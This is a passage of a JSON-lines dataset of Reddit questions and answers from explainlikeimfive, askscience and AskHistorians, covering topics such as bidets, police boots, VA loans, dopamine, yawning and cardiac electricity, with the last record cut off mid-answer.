{"q_id": "c9hfcp", "title": "how bidets work/are supposed to be used. how does it cut tp use so much?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c9hfcp/eli5_how_bidets_workare_supposed_to_be_used_how/", "answers": {"a_id": ["esyc8y5", "esyd8b3"], "score": [5, 2], "text": ["Okay, here\u2019s the deal. A bidet attachment sits on your toilet, so after you go, you can directly spray the area with pressurized water. All of this is happening inside the toilet bowl, so there\u2019s no mess to deal with. Compare having to wipe several times with toilet paper and still not being totally clean, vs. using the bidet for roughly 10 seconds, knocking off all the waste, and then only needing a couple of sheets to dry off. \n\nMy boyfriend and I got one, and we\u2019ve saved so much on TP it\u2019s crazy. What would have lasted us 2 weeks suddenly lasts 2 months. Get into it!", "It\u2019s going to depend on your wiping needs. If you have [this problem](_URL_0_) it\u2019s going to save you a lot because you wash up, wipe a little water off with one swipe and move on. If you\u2019re a one and done person already it\u2019s going to make nearly no difference *except* that you\u2019re going to feel totally clean. \n\nAs a plumber I always point out how it\u2019s totally unacceptable to wipe feces off of any other thing with dry paper. Why not treat your butthole nicer?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.youtube.com/watch?v=vGCIGEUB32M&amp;app=desktop"]]}
{"q_id": "63zdqa", "title": "why do cops wear oxford shoes rather than running/sports shoes? wouldn't they be more mobile with the latter?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/63zdqa/eli5_why_do_cops_wear_oxford_shoes_rather_than/", "answers": {"a_id": ["dfyhcjs", "dfyjix7", "dfysuwl", "dfz0s5n"], "score": [196, 26, 14, 3], "text": ["The dress codes vary from department to department and have been evolving for a long time. \n\nMost officers I know now (pretty high number, nature of my job) favor all black boots on duty. Not western style boots, more of a military / hiking / trail runner style that is pretty comfortable, provides ankle support and foot protection and is conducive to running. \n\nWhen my dad was a patrolman (early 70s) it was black oxfords and they wore a tie as part of their uniform, which was a holdover from earlier times when even bus drivers and the milkman wore a tie. Usually a clip on so it couldn't be used against them in a fight. ", "A lot of police wear Magnum boots; a composite toe, high traction boot that resists penetration and is lighter than a pair of Air Jordans. _URL_0_ ", "Cop here. I have two issued footwear. I have my dress shoes for my dress uniform. Standard slick bottom shoes for formal events, funerals, parades, etc. I am also issued boots. The boots they give us aren't the best, but they work. And we can trade our boots in and pay an upcharge to have them order any other pair of boots we'd like. What most officers here do, myself included, is go for whatever style we want and just pay the difference, which is around 50 to 100 bucks.\n\nThe kind I use is a boot designed like a pair of running shoes. They offer protection like a boot around the food and ankle, but don't have the rigidity of a boot. Some prefer to have thicker/taller boots though.\n\nThe main reason I think there isn't a standard issue black running shoe is due to proneness for injury. While my Brooks GTS would be fantastic to wear, I have been in foot chases before where I've completely eaten my ass. The boots I wear protected me from spraining my ankle or otherwise hurting more than my pride. ", "There is an entire niche industry of companies that make law enforcement specific clothing. There are nice looking button down shirts where the buttons are fake and they're hiding a zipper, dress pants with hidden cargo pockets, and even comfortable reliable boots or shoes that look like dress shoes. Just because a cop looks like he's wearing dressy clothes doesn't mean he is. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.magnumboots.com/ca/boots/professional/459/stealth-force-80-sz-ctcp/"], [], []]}
{"q_id": "6fvp4s", "title": "why is a va loan on a home so much better than traditional?", "selftext": "They charge you a fee. Granted its not the same amount as 20%but its still a good chunk of money. So what's the benefit?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6fvp4s/eli5why_is_a_va_loan_on_a_home_so_much_better/", "answers": {"a_id": ["dilc8yy", "dilgekk"], "score": [2, 2], "text": ["4 Reasons: \n\n1. You don't have to put any money down. Usually when buying a house you have to come up with a 20% down payment. So if you are buying a house that is $200,000. You need to come up with $20,000 in cash. That's not easy to come by. With a VA loan, no down payment is needed.\n\n2. Your loan is backed by the United States Government, instead of a company, so sellers are more likely to take your bid because its a sure thing.\n\n3. Typically VA loans have a lower interest rate than traditional mortgages.\n\n4. Currently you can take advantage of the IRRRL program where you can re-finance a few years after your initial loan starts for a lower interest rate. ", "A couple notes. (I am not a loan officer, just a Realtor. This information should be verified through a local reputable Realtor and a lender and please please please go to a local bank that originates mortgages and don't just settle for the  \"easy button\")\n Many loan packages available to consumers today do not require 20% down.\n A VA loan is not always more attractive to sellers as the VA loan requires the house to be in a better state than conventional or FHA loans. These repairs must be affected BEFORE the loan will be approved. \n Talk to your lender about other loan packages. If I am not mistaken the interest rate is lower than FHA or a conventional. This may outweigh the loan cost. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "49sgyf", "title": "why game devs do fps cap on pc?", "selftext": "Many of the PC games are capped at certain fps like 30 or 60. Why the devs do it? Wouldn't it be more logical just to let the customer's PC to deicide? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/49sgyf/eli5_why_game_devs_do_fps_cap_on_pc/", "answers": {"a_id": ["d0uh47q", "d0uh6hf"], "score": [4, 7], "text": ["there are a couple reasons, but some games tie mechanics to FPS. Its lazy programming, but for example in dark souls 2 weapon degradation is based on frames that your weapon is in an enemy, so theres a bug on PC where your weapons degrade twice as fast because 60 fps. A lot of game tie various elements of their physics to FPS too. ", "In many cases, game developers (especially ones targetting consoles first and foremost) lock certain parts of game logic to the FPS, so if you uncap the FPS and have, say, 120 FPS when developers developed with 60, the physics simulation would run twice as fast.\n\nThis may seem asinine; why would you ever do that? Well, there's a reason. There are three ways to deal with timesteps for your logic:\n\n1. Locked FPS \u2014 this is the simplest solution. Everything runs at a stable, controlled timestep.\n\n2. Vary by the difference in time, or delta time \u2014 this seems nice at first, but you run into issues when you have very high FPS or very low FPS and thus very small or very big delta times. There, floating point inaccuracies start to bite you in the ass. It's also less stable, and you can't easily control the timestep, so it makes debugging harder.\n\n3. Lock your logic in a fixed timestep and interpolate values for your renderer \u2014 this is the \"best\" solutions, so to say. The game runs at a variable FPS, but the simulation will run at a nice fixed timestep. This is a lot harder to implement, however, than the other two.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3qsw1d", "title": "Do our brains excrete a certain chemical when we learn?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3qsw1d/do_our_brains_excrete_a_certain_chemical_when_we/", "answers": {"a_id": ["cwi6bdf", "cwid82b", "cwio7xn"], "score": [5, 4, 11], "text": ["The joy we get when we learn something new or are interested by something is a result of the \"reward\" circuit of our brain, associated with release of dopamine.\n\nJust a tiny correction though - our brain cells called neurons are always secreting chemicals. That's how they communicate with each other.", "Learning is associated with dopamine release.  Dopamine does not signal \"reward\" (which is a nebulous term that is gradually falling out of favor) or pleasure.  It signals **prediction error**.  There is a relatively large and growing literature on this (e.g., [Glimcher, 2011](_URL_1_)).  Prediction error flows up to adjust our top-down predictions about the world (i.e., learning through experience).\n\nThe idea that dopamine makes us feel happy isn't really true.  If we want to speak in higher order psychological terms, we can say that mesolimbic dopamine is involved in motivation--but not hedonia per se (e.g., [Salamone  &  Correa, 2012](_URL_0_)).  ", "Your premise is wrong.  Anybody who tells you that your brain secretes a bunch of serotonin when you're in love or dopamine when you're happy is either selling something or just poorly informed.\n\nI am fond of explaining the situation this way:  \"Saying that serotonin causes changes in mood, or that dopamine causes happiness or pleasure, is equivalent to saying that the performance of your computer is determined by electron levels in the CPU.\"   It's so far off from the truth that, to a neuroscientist, it literally doesn't even sound like a comprehensible sentence.\n\nThe release of most neurotransmitters is not something that occurs on a brain-wide scale.  Neurotransmitters are released from one neuron *directly onto one or more other specific neurons.*  Neurotransmitters are used by neurons to send signals to other specific neurons. \n\nThis is in contrast to how neurotransmitters are popularly discussed:  People often talk about neurotransmitters as though they were like a hormone (e.g. insulin, which is released into the bloodstream by the pancreas and then has widespread effects throughout the body).  It makes sense to talk about \"insulin levels\", because the amount of insulin in the bloodstream is a good indicator of how much insulin all of the body's tissues are being exposed to, and how strongly insulin receptors throughout the body are being stimulated.  There is no separate level of insulin being sent to the liver, the muscles, etc.\n\nBut neurotransmitters are not like that.  Neurotransmitters are more like a text message sent from one person (neuron) to another person or people (neurons).  Sure, it's technically POSSIBLE to have some measure of how many text messages are being sent overall (i.e. how much dopamine is, overall, being released), but that doesn't actually tell you a whole lot.\n\nTo answer your question:  No, not really.  There is no neurotransmitter associated specifically with learning.  Learning is a very complex phenomenon, which involves MANY different brain circuits.  Those circuits will include some neurons that send signals using glutamate, some that send signals using GABA, some that send signals using serotonin, some that send signals using dopamine, some that send signals using norepinephrine, and so on.  \n\nBottom line, different neurotransmitters are basically like different messaging apps.  Most neurons in the brain use one of the most common neurotransmitters (e.g. glutamate (Google Hangouts) or GABA (iMessage)), but there are a bunch of other neurotransmitters too that some neurons use.  Virtually none of them are unique to a particular function, just like Snapchat isn't unique to people who work in a particular industry."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.sciencedirect.com/science/article/pii/S0896627312009415", "http://www.decisionsrus.com/documents/understanding-dopamine-and-reinforcement-learning.pdf"], []]}
{"q_id": "prcl9", "title": "What's the link between animal abuse and human abuse?", "selftext": "From [this](_URL_0_) paper by the US Department of Justice, it appears there are correlations between animal abuse and various types of \"human abuse\".  \n\nWhat do we know about this connection?  Has it gone beyond correlation?  How strong *is* that correlation?  Is there a root cause for both?  Does violence beget violence?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/prcl9/whats_the_link_between_animal_abuse_and_human/", "answers": {"a_id": ["c3rmkgv"], "score": [6], "text": ["I can't cite any data on the correlation but from a psychological perspective, the common link is generally considered to be [Antisocial Personality Disorder](_URL_0_) or [psychopathy](_URL_1_) (The two are distinct but not that different). They're both  basically just a disregard for the law, rules and rights of others characterised by an extreme lack of empathy. There's normally quite extreme emotional, physical and/or sexual abuse in these cases but it's not always true. Not everyone with APD or psychopathy become criminals. Interestingly enough, one good predictor tends to be IQ (Moffat and Silva, 1989).\n\nThe problem is, is that children can't be diagnosed with either. Therefore, there's a separate diagnosis called [Conduct Disorder](_URL_2_). Conduct disorder is measured more by the acts themselves, than behavioural correlates. For example, the DSM-IV-TR criteria includes things like \"Often initiates physical fights\", \"Has been physically cruel to animals.\" etc. Data from long-term follow-up studies shows that many adults with APD or psychopathy had Conduct Disorder (Robins, 1978; Salekin, 2006). Basically, the theory is the conduct disorder is the manifestation of APD that happens in children when the the same underlying causes exist in adults.\n\nSo, to answer your question: Kids who are prone to cruelty to animals also tend to turn into adults who are cruel to people. \n\nAll information taken from Barlow and Durand (2012)"]}, "title_urls": [], "selftext_urls": ["https://www.ncjrs.gov/pdffiles1/ojjdp/188677.pdf"], "answers_urls": [["http://en.wikipedia.org/wiki/Antisocial_personality_disorder", "http://en.wikipedia.org/wiki/Psychopathy", "http://en.wikipedia.org/wiki/Conduct_disorder"]]}
{"q_id": "630zxs", "title": "How much does gravity affect result of chemical reactions? Was there ever a chemical experiment set in space that gave significantly different results than on Earth?", "selftext": "EDIT: not only result, but the whole process of reaction", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/630zxs/how_much_does_gravity_affect_result_of_chemical/", "answers": {"a_id": ["dfr5d2t", "dfr5fi6", "dfr5mob", "dfr64yn"], "score": [2, 3, 17, 2], "text": ["I can't think of any specific examples right now, but any process that separates materials by density would not work well in zero gravity. I use phenol:choroform solutions to separate proteins from DNA on a regular basis. The chloroform sinks to the bottom, while the DNA is kept in the water on top. But even this example is a poor example because chloroform will probably try to separate from water based on hydrophobicity alone, not just density, and even on Earth I need a centrifuge to speed it up. In space, you'd probably just use a fancy centrifuge with some way to compensate for the change in angular momentum.", "Gravity is so weak that it basically has no effect on protons and electrons in chemical reactions. The Coulombic attraction and repulsion of electrons and nuclei far outweigh any gravitational effects. \n\nLet's look at the ratio of the difference between the coulomb force and gravity between a proton and an electron: F_coul / F_grav = (k * q^2 / r^2 ) / (G * m^2 / r^2 ) where k is the coulomb constant, G is the graviational constant, q is electric charge for our proton or electron and r is the distance between the proton and electron. Simplifying our original ratio, we get: F_coul / F_grav = (k * q^2) / (G * m^2 ). Plugging in our constant values we get: F_coul = ~10^42 * F_grav.\n\nThis means that the coulombic force far outweighs the gravitational attraction between a proton and an electron, with the added detail that this is true at ANY distance, since our distance variable r got cancelled out in the above ratio. So to reiterate, the coulombic force is so much stronger than gravity, that it's basically negligible on the molecular scale, and we shouldn't see any difference in chemical reactions performed in space.", "The sort of energy scales that are relevant to chemical reactions are generally much larger than the energy scales associated with local gravitational sources. \n\nThat is to say, to a physicist/chemist, this question would be analogous to me asking \"how much harder is it for me to open my bedroom door when it is very dusty?\" (The added weight is negligible), or perhaps \"when I pour a glass of water into the Gulf of Mexico, how much does it increase erosion along the Gulf Coast?\" (The added volume is negligible).\n\nNow, there may be macroscopic effects that chemists care about--if they're precipitating large crystals out of solution, who knows the way they form is uniquely due to gravity or if crystal growth would be more isotropic in zero gravity (I suspect the growth would still cluster around the sides of the container, even if there is no 'preferred' side, like the bottom would be in the presence of gravity).\n\nBut in terms of chemical reaction rates and fundamental properties of chemical interactions, local gravitational sources are irrelevant. \n\nThis is probably not true very near the event horizon of a black hole, but then you have bigger issues to worry about than finishing your experiment.... :)", "While not a specific reaction, the Ergun equation is used to determine the pressure drop of a fluid moving through a packed bed. However, the Ergun equation is not valid for microgravity systems, and NASA is currently running experiments on the ISS to develop equations that can be used to determine the pressure drop through a packed bed in microgravity.\n\n_URL_0_ \n_URL_1_ "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://spaceflightsystems.grc.nasa.gov/sopo/ihho/psrp/msg/pbre/", "https://www.nasa.gov/mission_pages/station/research/experiments/1111.html"]]}
{"q_id": "u5phx", "title": "What do we know about the superstructure of the observable universe?", "selftext": "What does the universe look like when we \"zoom out\" incredibly far? First you have one planet and a moon, then some planets around a star, then stars look evenly spread like some kind of cosmic dust, then you have discs of stars that are galaxies, then what? Are galaxies part of something larger like stars are part of a galaxy? I've heard that galaxies are spread around huge bubble-like voids. If that is true, are these part of a larger structure? Do we know? *Can* we know? Thanks!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/u5phx/what_do_we_know_about_the_superstructure_of_the/", "answers": {"a_id": ["c4sjccd", "c4sjwkn"], "score": [3, 5], "text": ["Superclusters of galaxies can be 100 million light-years across. \n\n_URL_0_\n\nThey can be grouped into Galaxy Filaments and Lyman-alpha Blobs creating this Universe \"scaffolding\" of structures.", "It looks like a sponge or web: \n\nSimulations:\n\n_URL_0_\n\n_URL_1_\n\nObservations:\n\n_URL_2_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Supercluster"], ["http://www.mpa-garching.mpg.de/galform/millennium/", "http://hipacc.ucsc.edu/Bolshoi/", "http://www.mso.anu.edu.au/2dFGRS/"]]}
{"q_id": "1u880d", "title": "What are the benefits of bronchial constriction?", "selftext": "There are several hypersensitivity disorders with mediators that cause bronchoconstriction, like asthma. My question is why even make these agents? When is blocking the airways ever useful?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1u880d/what_are_the_benefits_of_bronchial_constriction/", "answers": {"a_id": ["cefr4m3", "ceg52fj"], "score": [3, 2], "text": ["As a cardiologist and not a pulmonologist I'll take a stab at this. I'm not sure there needs to be a direct benefit of bronchial constriction. At least not in the way I think you are implying in your question. There is smooth muscle in our airways, true. This muscle allows for reactivity of airways in normal, physiological ways. For example, our bodies have ways of shunting blood or air to/from parts of the lungs that are over/under ventilated or perfused. Reactivity of airways and blood vessels are necessary to accomplish this. But asthma, for example, is a maladaptation of this. Hypertension would be a cardiovascular example of such a maladaptation in the vascular space.\n\nIn a broader, somewhat more philosophical sense, the definition of disease is something along the lines of abnormal function of tissue, organ, organism, etc. But there has to be a normal, adaptive function to start from.\n\nEDIT: I just re-read my response and thought I'd elaborate/clarify something. There is a notion of matching ventilation and perfusion within the lungs. This is a helpful/necessary adaptation as it is harmful (or wastes energy unnecessarily, etc) to have areas of lung that aren't getting blood but are getting oxygen and areas of lung that are getting blood but aren't getting oxygen. The latter is a \"shunt\" where blood is passing through the lungs and not oxygenating. The former is \"dead space\" where lung is filling with oxygen and not getting blood supply. So the system is made to \"self-regulate\" to adjust all this. It's a pretty fascinating, well-tuned machine in normal circumstances. Something as simple as going from a supine posture to an upright posture (which we do quite a bit as humans...alligators have less of a problem) causes more blood to go to the lower lungs (higher hydrostatic pressure) and less air/oxygen (compression of alveoli in the lower lung fields, expansion of alveoli in the upper lung fields). So the muscle that constricts in our lungs is part of this system. Bronchial constriction in a pathological sense is when this system goes awry. ", "Since bronchial constriction is, in a way, an adaptive response, it's possible that it could reduce entry of harmful substances deeper into the airway. \n\nIt can also be postulated that increasing airway resistance may help in the clearance of secretions, as it increases intrapulmonary pressures to expel foreign bodies."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "25c3gs", "title": "Are there any ongoing attempts to improve modern mathematical notation?", "selftext": "Or is there no sense in fixing something that isn't broken?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/25c3gs/are_there_any_ongoing_attempts_to_improve_modern/", "answers": {"a_id": ["chft2fm", "chftvrq", "chg6u3u"], "score": [4, 4, 3], "text": ["Notaion is always changing. Different fields use different ways to write the same thing in different contexts. Sometimes, because it's more useful, sometimes because of personal preference.   \nUsually, one defines the notation used in a paper or article - this not only includes basic ways to write things, but also, for instance, how vectors are written (bold or with arrow, underlined etc.). *Notation is not something universal*, it's very individual and we are used to just change in on-the-fly.\n\nThere are some specific notations people worry greatly about; for instance the order for function composition:\n\nIf I want to take a number and double it first, and then subtract one; how can I write these two operations as one? (Double and subtract by one).\n\nIf D is doubling, and SUB is subtracting one, then the standard way to write the result if both are used on the number 2:\n\nSUB(D(2))\n\nAnd the operation that does both at the same time is written as\n\nSUB \u25cb D\n\nSome people find this annoying, since you write the function that is executed first on the right, but we read from left to right. So some people write the same as:\n\nD SUB\n\nAnd if applied to 2, they write that as:\n\n(2)(D SUB)\n\nAnother popular dispute is the use of tau instead of pi, which would be tau = 2 * pi. But since the usage of pi is cemented in culture, it will be hard to change this.\n", "Like a language, there's always some degree of flux and some dialects (for instance, a symbol for \"therefore\" which seems to be often used in the US is \u2234, which is used as a punctuation mark. In continental Europe, in particular in Germany, this is not very common, but only an arrow is used in formulas, namely this one: \u21d2. In other countries, there might be other notations.)\n\nOther than this \"natural evolution of language\", it is rather hard to change existing notation on purpose. For instance, there's the discussion on \u03c0/\u03c4: A lot of formulas which involve the number \u03c0 = 3.141... do actually contain a factor of 2, e.g. [the Fourier Transform](_URL_1_) or [the standard normal distribution](_URL_0_). This lead to the idea that 2*\u03c0 should actually be one variable, and that it shall be called \u03c4 (tau). But the sheer number of literature and people using \u03c0 makes it very hard for this new notion to get some support.\n\nI can offer a similar story as a first hand experience. Bear with me for a moment, this needs some introduction. In logic, you have the universal quantifier (\"for all\"), which is usually denoted by \u2200, and the existential quantifier (\"there exists\") which is usually denoted by \u2203. My professor, however made the argument that while they might be OK to remember, but they are not really consistent with the other notation used in logic. The  logical conjunction (\"AND\") is usually denoted by \u2227; the logical disjunction (\"OR\") is usually denoted by \u2228. He made the argument that \"for all\" is like a huge \"AND\", as, for the logical statement to be true for all x in some (say, finite) set , it needs to be true for the first element AND the second element and so on. On the other hand, if there exists an x in this finite set such that something is true, this is the same as writing it's true for the first element OR the second, and so on. \n\nThis is why he used a big \u2227 instead of \u2200, and a big \u2228 instead of \u2203. It makes sense on its own, but it was really confusing when using other books to read. Needless to say, it never caught on. The only result is that I'm usually avoiding to use these symbolic quantifiers, and rather use words. :D", "I can offer you a physicist's perspective. Whenever a new, big physics theory comes a long, physicists and mathematicians often create new mathematical notation in order to make the theory more intuitive and natural to deal with. For example, Maxwell's equations describing classical electromagnetism inherently contain Einstein's Special Relativity, but this fact is not obvious when Maxwell's equations are written in traditional three-vector form. Covariant/Einstien notation was developed that makes Special Relativity much easier to work with, and makes it obvious that Maxwell's equations obey Special Relativity."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Normal_distribution#Standard_normal_distribution", "http://en.wikipedia.org/wiki/Fourier_transform"], []]}
{"q_id": "djpnfv", "title": "When something is stuck in another thing, say a cork in a bottle. Why is it easier to twist and pull it out, than to just pull it straight out?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/djpnfv/when_something_is_stuck_in_another_thing_say_a/", "answers": {"a_id": ["f48urjm", "f4afm3y"], "score": [24, 4], "text": ["So in your example it is way easier to apply torque than a linear force with your hands. Further, the stationary friction between most materials is higher than sliding friction. So as soon as it is moving, it is easier to pull out.", "If there's a certain force that you need to apply to the interface to overcome friction, call it f_f, you'd need a linear pulling force f_p equal to f_f to slide it out, or a torque equal to r_i \u00b7 f_f, where r_i is the radius of the interface.  If it's a simple cylindrical cork, then the torque you get by gripping the cork and applying a rotational force f_g at radius r_i is torque = r_i \u00b7 f_g, so the result is simply that you need f_g = f_f to get it to move.  In that case, either f_g or f_p needs to equal f_f to get it to move, and the only advantage of twisting is if your hand strength and anatomy can a apply a larger f_g than f_p.  That may in fact be the case.\n\nBut if the cork is mushroom shaped, or even just tapered, the radius where you grip it, let's call that r_g, can be larger than r_i.  In that case, you get leverage magnifying the force, and f_i = f_g (r_g/r_i).  In other cases where you have some larger part of the object to grip, you can take advantage of this leverage effect.\n\nWhether you get the initial advantage by leverage (applying torque where the radius is larger) or by making best use your of anatomy, once you get it to move, you can take advantage of sliding friction sometimes being lower than static friction and/or the vector addition of forces as noted in other comments to proceed with removal using a lower pulling force than would have been required with simple pulling."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "8yuj4j", "title": "how do german taxi drivers afford luxury cars, like mercedes and audis?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8yuj4j/eli5_how_do_german_taxi_drivers_afford_luxury/", "answers": {"a_id": ["e2dshzb", "e2dsk8m", "e2duceq", "e2e7hjp", "e2e8wgu"], "score": [9, 10, 3, 2, 3], "text": ["Those brands aren\u2019t nearly as expensive in Germany. Passing through Germany while I was in the army, several privates on post could even afford them. ", "They are a lot cheaper when you don\u2019t have to ship them halfway across the world. A lot of US military personal also buy them when they get stationed over there because they are so cheap, and also the military will pay to have them shipped back here when they switch duty stations.", "secondly, most taxi drivers are under a network, which means they get special prices, and some if not most places, the state grants a certain amount of money to help out.", "Anytime you have to export anything overseas the prices increase dramatically. Goods where they are produced are inherently cheaper, it\u2019s basic economics. ", "They are lower cost because they are domestic makes, and they make them with smaller engines/ lower trim levels than they export to the U.S."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "jhvkv", "title": "yawning", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/jhvkv/eli5_yawning/", "answers": {"a_id": ["c2c8nkn", "c2c8pis", "c2c8slw", "c2c9ajh", "c2ca1rz", "c2caq3v", "c2cb211", "c2c8nkn", "c2c8pis", "c2c8slw", "c2c9ajh", "c2ca1rz", "c2caq3v", "c2cb211"], "score": [13, 14, 43, 4, 8, 6, 2, 13, 14, 43, 4, 8, 6, 2], "text": ["Great, now I yawned.", "AFAIK, there are no clear explanations for why we yawn - just theories.", "You're five? You're yawning? The only explanation you're going to get is, \"It's time for bed!\" ", "The long and short of it: There are (flawed) theories out there, but nobody knows for sure.", "It's also contagious for a lot of people. Yawn in a room and many people, if not all, will yawn.\n\nI personally yawn on command.\n\nI yawned at least 6 times writing this comment.", "One prevailing theory is that yawning, much like crying, is a nonverbal cue that developed to inform your fellow caveman that you were tired.  This could lead to the entire tribe sleeping at the same time.  It is not known why exactly, but it has been proposed that being on the same sleep-wake cycle of the entire tribe was selectively advantageous, leading to population level evolution.  Perhaps by being awake during the same hours, pre-verbal man was more efficiently capable of cooperation.\n\nThis also explains why yawning is \"contagious.\" After receiving the signal from person, it may have been advantageous to spread that message to others in the area.", "I don't know if it's been researched or theorized, but as a personal experience for me, yawning has helped alleviate pressure in my ear canals and cranium.\n\nIt's a bit hard to imagine, but I've noticed that when I was young, I was always able to widen my ear canals. Doing so would cause me to yawn.\n\nAgain, I don't know how all of this connects, but my best guess is to say it has something to do with pressure.", "Great, now I yawned.", "AFAIK, there are no clear explanations for why we yawn - just theories.", "You're five? You're yawning? The only explanation you're going to get is, \"It's time for bed!\" ", "The long and short of it: There are (flawed) theories out there, but nobody knows for sure.", "It's also contagious for a lot of people. Yawn in a room and many people, if not all, will yawn.\n\nI personally yawn on command.\n\nI yawned at least 6 times writing this comment.", "One prevailing theory is that yawning, much like crying, is a nonverbal cue that developed to inform your fellow caveman that you were tired.  This could lead to the entire tribe sleeping at the same time.  It is not known why exactly, but it has been proposed that being on the same sleep-wake cycle of the entire tribe was selectively advantageous, leading to population level evolution.  Perhaps by being awake during the same hours, pre-verbal man was more efficiently capable of cooperation.\n\nThis also explains why yawning is \"contagious.\" After receiving the signal from person, it may have been advantageous to spread that message to others in the area.", "I don't know if it's been researched or theorized, but as a personal experience for me, yawning has helped alleviate pressure in my ear canals and cranium.\n\nIt's a bit hard to imagine, but I've noticed that when I was young, I was always able to widen my ear canals. Doing so would cause me to yawn.\n\nAgain, I don't know how all of this connects, but my best guess is to say it has something to do with pressure."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "46yerh", "title": "how much energy does it take a bird to fly in comparison how much energy it takes for a human to walk?", "selftext": "A birds obvious most used form of transportation is flight. It seems so easy for them to hold themselves up and glide through the sky; I know they are designed to do this and with optimal precision and with minimal effort or work. But how much work is it actually for them? Is it as little work from them as it is for a human to walk, or a jog lightly? Or do they need as much energy as it would take to run?  \nTLDR: I need a human walk to bird flight Work/Energy ratio", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/46yerh/eli5how_much_energy_does_it_take_a_bird_to_fly_in/", "answers": {"a_id": ["d08rid0", "d090mte"], "score": [16, 5], "text": ["Depends on the bird. Some evolved to glide with little effort for hours, I'd equate that to standing. Generally the birds of prey and sea birds do this [eagle, albatross].  Most alternate flapping and gliding which requires more effort. Birds that are herbivores might do this at a level akin to walking. I'd put geese in this category, they're like marathon runners. However birds that eat insects/hunt are probably putting in more effort-equivalent to jogging. ", "It takes a lot of energy to become airborne. Flapping wings is like running, but most birds don't need to continually flap. They can be lifted upwards by hot air rising. If the bird is a person, the hot air can be like a train. You gotta run hard for the train but once you catch it, you can stand and chill until you reach your destination."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "eqkog2", "title": "why does the heart react to electiricity by stopping or starting again", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/eqkog2/eli5_why_does_the_heart_react_to_electiricity_by/", "answers": {"a_id": ["fete00o", "feteqgc", "feti2ow"], "score": [2, 2, 5], "text": ["Your heart doesn't beat on its own. It is receiving signals from the brain to beat and those signals are also electrical. A jolt of external electricity is going to seriously mess with that.", "Did you ever wear those ab crunch belts, that shock your abs to get them to contract?\n\nOr better yet, get stun gunned or tased?(pretty unique feeling by the way, instantly paralyzed until they stop shocking you, followed by the biggest adrenaline dump of your life).\n\nElectricity causes muscles to contract. Your heart is a muscle. When it contracts it forced blood through the arteries. Therefore if you shock a heart, it will pump blood. Int he case of stopping a heart, it can just override your body's natural pumping electrical impulses\n In the case of starting a heart, it's kinda like kickstarting it. Once it gets moving it can just go off the body's natural electrical impulses.", "Friendly neighborhood medic here!\n\nSo, your heart has its own electrical system; and it\u2019s very easy to alter that rhythm. In short, these other cats have already kind of explained the idea. \nIf your heart gets hit with an electrical current that\u2019s strong enough, it can effect the electric pathway and cause an abnormal rhythm (arrhythmia) or cause the SA/AV/Purkinje fibers to not fire at all. Just the same as overriding any other circuit (in a very basic way).\n\nAs far as electricity starting a heart, to my understanding that doesn\u2019t happen. Typically when we\u2019re shocking someone, it\u2019s done very tactically. If we\u2019re shocking, it\u2019s because there\u2019s electricity already happening in the heart; it just needs re-guided. \n\nIf there\u2019s no electricity (take Asystole  [no pulse, no electrical activity] for example) there would be pharmaceutical interventions to reinstate the hearts biological process to conduct and move electricity again. \n\nHopefully I explained that in a way that makes sense.\n\nEdit: I changed the arrhythmia because the original one I named wasn\u2019t accurate, I should\u2019ve proof read myself."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2a5eif", "title": "In Les Miserables, they showed a whole bunch of prisoners pulling a giant boat into a dock space. Did they really do this as punishment in France? How many men was required to do this?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2a5eif/in_les_miserables_they_showed_a_whole_bunch_of/", "answers": {"a_id": ["cis2dpx", "cis4aem", "cisdg50", "cise9wf", "cisjocg"], "score": [18, 69, 6, 2, 6], "text": ["It is a form of [penal labour](_URL_0_) which is basically using prisoners as labourers, a practice hundreds of years old and which - in France - only ceased in 1987 when prisoners were no longer forced to work.  Penal labour definitely happened in France at the time - save for some brief times during later revolutions - though I can't comment on whether they worked with ships or how many it would take to pull a ship into a dock like that.\n", "A book you might want to check out is Miranda Spieler's [_Empire and Underworld: Captivity in French Guiana_](_URL_0_).  Though the lion's share of the book is about the French penal system established in the colonies in the late 19th century, Spieler has an entire chapter about the state's treatment of convicts in the earlier part of the century that pertains to your question about prisoners in 